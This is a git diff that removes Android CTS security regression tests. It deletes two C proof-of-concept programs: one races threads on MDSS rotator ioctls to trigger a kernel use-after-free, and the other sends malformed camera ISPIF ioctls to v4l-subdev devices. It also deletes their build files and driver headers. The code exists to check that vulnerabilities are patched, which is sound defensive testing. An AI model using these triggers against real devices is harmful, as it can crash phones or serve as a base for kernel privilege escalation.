-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-#ifndef _IOC_NONE
-# define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ 2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
- (((dir) << _IOC_DIRSHIFT) | \
- ((type) << _IOC_TYPESHIFT) | \
- ((nr) << _IOC_NRSHIFT) | \
- ((size) << _IOC_SIZESHIFT))
-
-
-#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-
-
-struct mult_factor {
- uint32_t numer;
- uint32_t denom;
-};
-
-struct mdp_rotation_buf_info {
- uint32_t width;
- uint32_t height;
- uint32_t format;
- struct mult_factor comp_ratio;
-};
-
-struct mdp_rotation_config {
- uint32_t version;
- uint32_t session_id;
- struct mdp_rotation_buf_info input;
- struct mdp_rotation_buf_info output;
- uint32_t frame_rate;
- uint32_t flags;
- uint32_t reserved[6];
-};
-
-#define MDSS_ROTATOR_IOCTL_MAGIC 'w'
-
-#define MDSS_ROTATION_OPEN \
- _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 1, struct mdp_rotation_config *)
-
-#define MDSS_ROTATION_CONFIG \
- _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 2, struct mdp_rotation_config *)
-
-#define MDSS_ROTATION_CLOSE _IOW(MDSS_ROTATOR_IOCTL_MAGIC, 4, unsigned int)
-#endif
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/poc.c b/hostsidetests/security/securityPatch/Bug-34328139/poc.c
deleted file mode 100644
index 64337fd..0000000
--- a/hostsidetests/security/securityPatch/Bug-34328139/poc.c
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdio.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <unistd.h>
-#include <string.h>
-#include "local_poc.h"
-
-
-int fd;
-struct mdp_rotation_config config;
-int id;
-int status[10];
-int cmd = 0;
-
-void *threadForConfig(void *arg)
-{
- int index = (int) (unsigned long)arg;
-
- status[index] = 1;
-
- while (cmd != 1) {
- usleep(10);
- }
-
- if (cmd == -1)
- goto failed;
-
- usleep(5 * index);
- ioctl(fd, MDSS_ROTATION_CONFIG, &config);
-failed:
- status[index] = 2;
- return NULL;
-
-}
-
-void *threadForClose()
-{
- status[0] = 1;
-
- while (cmd != 1) {
- usleep(10);
- }
-
- if (cmd == -1)
- goto failed;
-
- usleep(50);
- ioctl(fd, MDSS_ROTATION_CLOSE, id);
-failed:
- status[0] = 2;
- return NULL;
-}
-
-int main()
-{
- int ret, i, count;
- pthread_t tid[5];
- int p = 5;
-
- count = 0;
-retry:
- if (p-- > 0){
- fork();
- }
-
- cmd = 0;
- for (i = 0; i < 10; i++)
- status[i] = 0;
-
- fd = open("/dev/mdss_rotator", O_RDONLY, 0);
- if (fd < 0) {
- return -1;
- }
-
- ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
- if (ret < 0) {
- goto failed;
- } else {
- id = config.session_id;
- }
-
- ret = pthread_create(&tid[0], NULL, threadForClose, NULL);
- if (ret != 0) {
- printf("thread failed! errno:%d err:%s\n",errno,strerror(errno));
- goto failed;
- }
-
- for (i = 1; i < 10; i++) {
- ret = pthread_create(&tid[1], NULL, threadForConfig, (void *)(unsigned long)i);
- if (ret != 0) {
- cmd = -1;
- goto failed;
- }
- }
-
- while (status[0] != 1 || status[1] != 1 || status[2] != 1
- || status[3] != 1 || status[4] != 1 || status[5] != 1
- || status[6] != 1 || status[7] != 1 || status[8] != 1
- || status[9] != 1) {
- usleep(50);
- }
-
- cmd = 1;
- usleep(10);
- ioctl(fd, MDSS_ROTATION_CONFIG, &config);
-
- while (status[0] != 2 || status[1] != 2 || status[2] != 2
- || status[3] != 2 || status[4] != 2 || status[5] != 2
- || status[6] != 2 || status[7] != 2 || status[8] != 2
- || status[9] != 2) {
- usleep(50);
- }
-
-
-failed:
- close(fd);
- printf("[pid:%d] try %d again!\n", getpid(), ++count);
- goto retry;
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk b/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
deleted file mode 100644
index 0f1a737..0000000
--- a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
- include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-34624155
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34624155/poc.c b/hostsidetests/security/securityPatch/Bug-34624155/poc.c
deleted file mode 100644
index eec9d20..0000000
--- a/hostsidetests/security/securityPatch/Bug-34624155/poc.c
+++ /dev/null
@@ -1,170 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include <fcntl.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <strings.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <unistd.h>
-
-#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
-
-#define CSID_VERSION_V20 0x02000011
-#define CSID_VERSION_V22 0x02001000
-#define CSID_VERSION_V30 0x30000000
-#define CSID_VERSION_V3 0x30000000
-
-enum msm_ispif_vfe_intf { VFE0, VFE1, VFE_MAX };
-#define VFE0_MASK (1 << VFE0)
-#define VFE1_MASK (1 << VFE1)
-
-enum msm_ispif_intftype { PIX0, RDI0, PIX1, RDI1, RDI2, INTF_MAX };
-#define MAX_PARAM_ENTRIES (INTF_MAX * 2)
-#define MAX_CID_CH 8
-
-#define PIX0_MASK (1 << PIX0)
-#define PIX1_MASK (1 << PIX1)
-#define RDI0_MASK (1 << RDI0)
-#define RDI1_MASK (1 << RDI1)
-#define RDI2_MASK (1 << RDI2)
-
-enum msm_ispif_vc { VC0, VC1, VC2, VC3, VC_MAX };
-
-enum msm_ispif_cid {
- CID0,
- CID1,
- CID2,
- CID3,
- CID4,
- CID5,
- CID6,
- CID7,
- CID8,
- CID9,
- CID10,
- CID11,
- CID12,
- CID13,
- CID14,
- CID15,
- CID_MAX
-};
-
-enum msm_ispif_csid { CSID0, CSID1, CSID2, CSID3, CSID_MAX };
-
-struct msm_ispif_params_entry {
- enum msm_ispif_vfe_intf vfe_intf;
- enum msm_ispif_intftype intftype;
- int num_cids;
- enum msm_ispif_cid cids[3];
- enum msm_ispif_csid csid;
- int crop_enable;
- uint16_t crop_start_pixel;
- uint16_t crop_end_pixel;
-};
-
-struct msm_ispif_param_data {
- uint32_t num;
- struct msm_ispif_params_entry entries[MAX_PARAM_ENTRIES];
-};
-
-struct msm_isp_info {
- uint32_t max_resolution;
- uint32_t id;
- uint32_t ver;
-};
-
-struct msm_ispif_vfe_info {
- int num_vfe;
- struct msm_isp_info info[VFE_MAX];
-};
-
-enum ispif_cfg_type_t {
- ISPIF_CLK_ENABLE,
- ISPIF_CLK_DISABLE,
- ISPIF_INIT,
- ISPIF_CFG,
- ISPIF_START_FRAME_BOUNDARY,
- ISPIF_RESTART_FRAME_BOUNDARY,
- ISPIF_STOP_FRAME_BOUNDARY,
- ISPIF_STOP_IMMEDIATELY,
- ISPIF_RELEASE,
- ISPIF_ENABLE_REG_DUMP,
- ISPIF_SET_VFE_INFO,
-};
-
-struct ispif_cfg_data {
- enum ispif_cfg_type_t cfg_type;
- union {
- int reg_dump; /* ISPIF_ENABLE_REG_DUMP */
- uint32_t csid_version; /* ISPIF_INIT */
- struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */
- struct msm_ispif_param_data params; /* CFG, START, STOP */
- };
-};
-
-#define VIDIOC_MSM_ISPIF_CFG \
- _IOWR('V', BASE_VIDIOC_PRIVATE, struct ispif_cfg_data)
-
-static const int is_bullhead = 0;
-
-char *path_table[] = {
- "/dev/v4l-subdev17",
- "/dev/v4l-subdev15",
-};
-
-int main(void) {
- char subdev[32] = {0};
- int i, fd;
-
- struct ispif_cfg_data pcdata = {0};
- struct ispif_cfg_data pcdata1 = {0};
-
- pcdata1.cfg_type = ISPIF_INIT;
- pcdata1.csid_version = CSID_VERSION_V30;
-
- pcdata.cfg_type = ISPIF_STOP_FRAME_BOUNDARY;
- pcdata.params.num = 1;
-
- for (i = 0; i < pcdata.params.num; i++) {
- pcdata.params.entries[i].vfe_intf = 0x12345601;
- pcdata.params.entries[i].num_cids = 2;
- }
-
- for (i = 0; i < 32; i++) {
- if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
- exit(EXIT_FAILURE);
- }
-
- fd = open(subdev, O_RDWR);
-
- if (fd > 0) {
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &pcdata1);
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &pcdata);
- close(fd);
- }
-
- close(fd);
- }
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk b/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
deleted file mode 100644
index ccf6b5e..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35047217
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h b/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h
deleted file mode 100644
index 889018d..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h
+++ /dev/null
@@ -1,1759 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
-*/
-
-#ifndef _UAPI_MSM_IPA_H_
-#define _UAPI_MSM_IPA_H_
-
-#ifndef __KERNEL__
-#include <stdint.h>
-#include <stddef.h>
-#include <sys/stat.h>
-#endif
-#include <linux/ioctl.h>
-#include <linux/types.h>
-#include <linux/if_ether.h>
-
-/**
- * unique magic number of the IPA device
- */
-#define IPA_IOC_MAGIC 0xCF
-
-/**
- * name of the default routing tables for v4 and v6
- */
-#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
-
-/**
- * the commands supported by IPA driver
- */
-#define IPA_IOCTL_ADD_HDR 0
-#define IPA_IOCTL_DEL_HDR 1
-#define IPA_IOCTL_ADD_RT_RULE 2
-#define IPA_IOCTL_DEL_RT_RULE 3
-#define IPA_IOCTL_ADD_FLT_RULE 4
-#define IPA_IOCTL_DEL_FLT_RULE 5
-#define IPA_IOCTL_COMMIT_HDR 6
-#define IPA_IOCTL_RESET_HDR 7
-#define IPA_IOCTL_COMMIT_RT 8
-#define IPA_IOCTL_RESET_RT 9
-#define IPA_IOCTL_COMMIT_FLT 10
-#define IPA_IOCTL_RESET_FLT 11
-#define IPA_IOCTL_DUMP 12
-#define IPA_IOCTL_GET_RT_TBL 13
-#define IPA_IOCTL_PUT_RT_TBL 14
-#define IPA_IOCTL_COPY_HDR 15
-#define IPA_IOCTL_QUERY_INTF 16
-#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
-#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
-#define IPA_IOCTL_GET_HDR 19
-#define IPA_IOCTL_PUT_HDR 20
-#define IPA_IOCTL_SET_FLT 21
-#define IPA_IOCTL_ALLOC_NAT_MEM 22
-#define IPA_IOCTL_V4_INIT_NAT 23
-#define IPA_IOCTL_NAT_DMA 24
-#define IPA_IOCTL_V4_DEL_NAT 26
-#define IPA_IOCTL_PULL_MSG 27
-#define IPA_IOCTL_GET_NAT_OFFSET 28
-#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
-#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
-#define IPA_IOCTL_GENERATE_FLT_EQ 31
-#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
-#define IPA_IOCTL_QUERY_EP_MAPPING 33
-#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
-#define IPA_IOCTL_WRITE_QMAPID 35
-#define IPA_IOCTL_MDFY_FLT_RULE 36
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD 37
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL 38
-#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED 39
-#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
-#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
-#define IPA_IOCTL_MDFY_RT_RULE 42
-#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
-#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
-#define IPA_IOCTL_GET_HW_VERSION 45
-#define IPA_IOCTL_MAX 46
-
-/**
- * max size of the header to be inserted
- */
-#define IPA_HDR_MAX_SIZE 64
-
-/**
- * max size of the name of the resource (routing table, header)
- */
-#define IPA_RESOURCE_NAME_MAX 32
-
-/**
- * max number of interface properties
- */
-#define IPA_NUM_PROPS_MAX 35
-
-/**
- * size of the mac address
- */
-#define IPA_MAC_ADDR_SIZE 6
-
-/**
- * max number of mbim streams
- */
-#define IPA_MBIM_MAX_STREAM_NUM 8
-
-/**
- * the attributes of the rule (routing or filtering)
- */
-#define IPA_FLT_TOS (1ul << 0)
-#define IPA_FLT_PROTOCOL (1ul << 1)
-#define IPA_FLT_SRC_ADDR (1ul << 2)
-#define IPA_FLT_DST_ADDR (1ul << 3)
-#define IPA_FLT_SRC_PORT_RANGE (1ul << 4)
-#define IPA_FLT_DST_PORT_RANGE (1ul << 5)
-#define IPA_FLT_TYPE (1ul << 6)
-#define IPA_FLT_CODE (1ul << 7)
-#define IPA_FLT_SPI (1ul << 8)
-#define IPA_FLT_SRC_PORT (1ul << 9)
-#define IPA_FLT_DST_PORT (1ul << 10)
-#define IPA_FLT_TC (1ul << 11)
-#define IPA_FLT_FLOW_LABEL (1ul << 12)
-#define IPA_FLT_NEXT_HDR (1ul << 13)
-#define IPA_FLT_META_DATA (1ul << 14)
-#define IPA_FLT_FRAGMENT (1ul << 15)
-#define IPA_FLT_TOS_MASKED (1ul << 16)
-#define IPA_FLT_MAC_SRC_ADDR_ETHER_II (1ul << 17)
-#define IPA_FLT_MAC_DST_ADDR_ETHER_II (1ul << 18)
-#define IPA_FLT_MAC_SRC_ADDR_802_3 (1ul << 19)
-#define IPA_FLT_MAC_DST_ADDR_802_3 (1ul << 20)
-#define IPA_FLT_MAC_ETHER_TYPE (1ul << 21)
-
-/**
- * enum ipa_client_type - names for the various IPA "clients"
- * these are from the perspective of the clients, for e.g.
- * HSIC1_PROD means HSIC client is the producer and IPA is the
- * consumer
- */
-enum ipa_client_type {
- IPA_CLIENT_PROD,
- IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
- IPA_CLIENT_WLAN1_PROD,
- IPA_CLIENT_HSIC2_PROD,
- IPA_CLIENT_USB2_PROD,
- IPA_CLIENT_HSIC3_PROD,
- IPA_CLIENT_USB3_PROD,
- IPA_CLIENT_HSIC4_PROD,
- IPA_CLIENT_USB4_PROD,
- IPA_CLIENT_HSIC5_PROD,
- IPA_CLIENT_USB_PROD,
- IPA_CLIENT_A5_WLAN_AMPDU_PROD,
- IPA_CLIENT_A2_EMBEDDED_PROD,
- IPA_CLIENT_A2_TETHERED_PROD,
- IPA_CLIENT_APPS_LAN_WAN_PROD,
- IPA_CLIENT_APPS_CMD_PROD,
- IPA_CLIENT_ODU_PROD,
- IPA_CLIENT_MHI_PROD,
- IPA_CLIENT_Q6_LAN_PROD,
- IPA_CLIENT_Q6_WAN_PROD,
- IPA_CLIENT_Q6_CMD_PROD,
- IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
- IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
- IPA_CLIENT_Q6_DECOMP_PROD,
- IPA_CLIENT_Q6_DECOMP2_PROD,
- IPA_CLIENT_UC_USB_PROD,
-
- /* Below PROD client type is only for test purpose */
- IPA_CLIENT_TEST_PROD,
- IPA_CLIENT_TEST1_PROD,
- IPA_CLIENT_TEST2_PROD,
- IPA_CLIENT_TEST3_PROD,
- IPA_CLIENT_TEST4_PROD,
-
- IPA_CLIENT_CONS,
- IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
- IPA_CLIENT_WLAN1_CONS,
- IPA_CLIENT_HSIC2_CONS,
- IPA_CLIENT_USB2_CONS,
- IPA_CLIENT_WLAN2_CONS,
- IPA_CLIENT_HSIC3_CONS,
- IPA_CLIENT_USB3_CONS,
- IPA_CLIENT_WLAN3_CONS,
- IPA_CLIENT_HSIC4_CONS,
- IPA_CLIENT_USB4_CONS,
- IPA_CLIENT_WLAN4_CONS,
- IPA_CLIENT_HSIC5_CONS,
- IPA_CLIENT_USB_CONS,
- IPA_CLIENT_USB_DPL_CONS,
- IPA_CLIENT_A2_EMBEDDED_CONS,
- IPA_CLIENT_A2_TETHERED_CONS,
- IPA_CLIENT_A5_LAN_WAN_CONS,
- IPA_CLIENT_APPS_LAN_CONS,
- IPA_CLIENT_APPS_WAN_CONS,
- IPA_CLIENT_ODU_EMB_CONS,
- IPA_CLIENT_ODU_TETH_CONS,
- IPA_CLIENT_MHI_CONS,
- IPA_CLIENT_Q6_LAN_CONS,
- IPA_CLIENT_Q6_WAN_CONS,
- IPA_CLIENT_Q6_DUN_CONS,
- IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
- IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
- IPA_CLIENT_Q6_DECOMP_CONS,
- IPA_CLIENT_Q6_DECOMP2_CONS,
- IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
- /* Below CONS client type is only for test purpose */
- IPA_CLIENT_TEST_CONS,
- IPA_CLIENT_TEST1_CONS,
- IPA_CLIENT_TEST2_CONS,
- IPA_CLIENT_TEST3_CONS,
- IPA_CLIENT_TEST4_CONS,
-
- IPA_CLIENT_MAX,
-};
-
-#define IPA_CLIENT_IS_APPS_CONS(client) \
- ((client) == IPA_CLIENT_APPS_LAN_CONS || \
- (client) == IPA_CLIENT_APPS_WAN_CONS)
-
-#define IPA_CLIENT_IS_USB_CONS(client) \
- ((client) == IPA_CLIENT_USB_CONS || \
- (client) == IPA_CLIENT_USB2_CONS || \
- (client) == IPA_CLIENT_USB3_CONS || \
- (client) == IPA_CLIENT_USB_DPL_CONS || \
- (client) == IPA_CLIENT_USB4_CONS)
-
-#define IPA_CLIENT_IS_WLAN_CONS(client) \
- ((client) == IPA_CLIENT_WLAN1_CONS || \
- (client) == IPA_CLIENT_WLAN2_CONS || \
- (client) == IPA_CLIENT_WLAN3_CONS || \
- (client) == IPA_CLIENT_WLAN4_CONS)
-
-#define IPA_CLIENT_IS_ODU_CONS(client) \
- ((client) == IPA_CLIENT_ODU_EMB_CONS || \
- (client) == IPA_CLIENT_ODU_TETH_CONS)
-
-#define IPA_CLIENT_IS_Q6_CONS(client) \
- ((client) == IPA_CLIENT_Q6_LAN_CONS || \
- (client) == IPA_CLIENT_Q6_WAN_CONS || \
- (client) == IPA_CLIENT_Q6_DUN_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
- (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_PROD(client) \
- ((client) == IPA_CLIENT_Q6_LAN_PROD || \
- (client) == IPA_CLIENT_Q6_WAN_PROD || \
- (client) == IPA_CLIENT_Q6_CMD_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
- ((client) == IPA_CLIENT_Q6_LAN_CONS || \
- (client) == IPA_CLIENT_Q6_WAN_CONS || \
- (client) == IPA_CLIENT_Q6_DUN_CONS || \
- (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
- ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
- ((client) == IPA_CLIENT_Q6_LAN_PROD || \
- (client) == IPA_CLIENT_Q6_WAN_PROD || \
- (client) == IPA_CLIENT_Q6_CMD_PROD)
-
-#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
- ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
- ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
- (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
- ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
- (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
-
-#define IPA_CLIENT_IS_MHI_CONS(client) \
- ((client) == IPA_CLIENT_MHI_CONS)
-
-#define IPA_CLIENT_IS_MHI(client) \
- ((client) == IPA_CLIENT_MHI_CONS || \
- (client) == IPA_CLIENT_MHI_PROD)
-
-#define IPA_CLIENT_IS_TEST_PROD(client) \
- ((client) == IPA_CLIENT_TEST_PROD || \
- (client) == IPA_CLIENT_TEST1_PROD || \
- (client) == IPA_CLIENT_TEST2_PROD || \
- (client) == IPA_CLIENT_TEST3_PROD || \
- (client) == IPA_CLIENT_TEST4_PROD)
-
-#define IPA_CLIENT_IS_TEST_CONS(client) \
- ((client) == IPA_CLIENT_TEST_CONS || \
- (client) == IPA_CLIENT_TEST1_CONS || \
- (client) == IPA_CLIENT_TEST2_CONS || \
- (client) == IPA_CLIENT_TEST3_CONS || \
- (client) == IPA_CLIENT_TEST4_CONS)
-
-#define IPA_CLIENT_IS_TEST(client) \
- (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
-
-/**
- * enum ipa_ip_type - Address family: IPv4 or IPv6
- */
-enum ipa_ip_type {
- IPA_IP_v4,
- IPA_IP_v6,
- IPA_IP_MAX
-};
-
-/**
- * enum ipa_rule_type - Type of routing or filtering rule
- * Hashable: Rule will be located at the hashable tables
- * Non_Hashable: Rule will be located at the non-hashable tables
- */
-enum ipa_rule_type {
- IPA_RULE_HASHABLE,
- IPA_RULE_NON_HASHABLE,
- IPA_RULE_TYPE_MAX
-};
-
-/**
- * enum ipa_flt_action - action field of filtering rule
- *
- * Pass to routing: 5'd0
- * Pass to source NAT: 5'd1
- * Pass to destination NAT: 5'd2
- * Pass to default output pipe (e.g., Apps or Modem): 5'd3
- */
-enum ipa_flt_action {
- IPA_PASS_TO_ROUTING,
- IPA_PASS_TO_SRC_NAT,
- IPA_PASS_TO_DST_NAT,
- IPA_PASS_TO_EXCEPTION
-};
-
-/**
- * enum ipa_wlan_event - Events for wlan client
- *
- * wlan client connect: New wlan client connected
- * wlan client disconnect: wlan client disconnected
- * wlan client power save: wlan client moved to power save
- * wlan client normal: wlan client moved out of power save
- * sw routing enable: ipa routing is disabled
- * sw routing disable: ipa routing is enabled
- * wlan ap connect: wlan AP(access point) is up
- * wlan ap disconnect: wlan AP(access point) is down
- * wlan sta connect: wlan STA(station) is up
- * wlan sta disconnect: wlan STA(station) is down
- * wlan client connect ex: new wlan client connected
- * wlan scc switch: wlan interfaces in scc mode
- * wlan mcc switch: wlan interfaces in mcc mode
- * wlan wdi enable: wdi data path completed
- * wlan wdi disable: wdi data path teardown
- */
-enum ipa_wlan_event {
- WLAN_CLIENT_CONNECT,
- WLAN_CLIENT_DISCONNECT,
- WLAN_CLIENT_POWER_SAVE_MODE,
- WLAN_CLIENT_NORMAL_MODE,
- SW_ROUTING_ENABLE,
- SW_ROUTING_DISABLE,
- WLAN_AP_CONNECT,
- WLAN_AP_DISCONNECT,
- WLAN_STA_CONNECT,
- WLAN_STA_DISCONNECT,
- WLAN_CLIENT_CONNECT_EX,
- WLAN_SWITCH_TO_SCC,
- WLAN_SWITCH_TO_MCC,
- WLAN_WDI_ENABLE,
- WLAN_WDI_DISABLE,
- IPA_WLAN_EVENT_MAX
-};
-
-/**
- * enum ipa_wan_event - Events for wan client
- *
- * wan default route add/del
- * wan embms connect: New wan embms interface connected
- */
-enum ipa_wan_event {
- WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
- WAN_UPSTREAM_ROUTE_DEL,
- WAN_EMBMS_CONNECT,
- WAN_XLAT_CONNECT,
- IPA_WAN_EVENT_MAX
-};
-
-enum ipa_ecm_event {
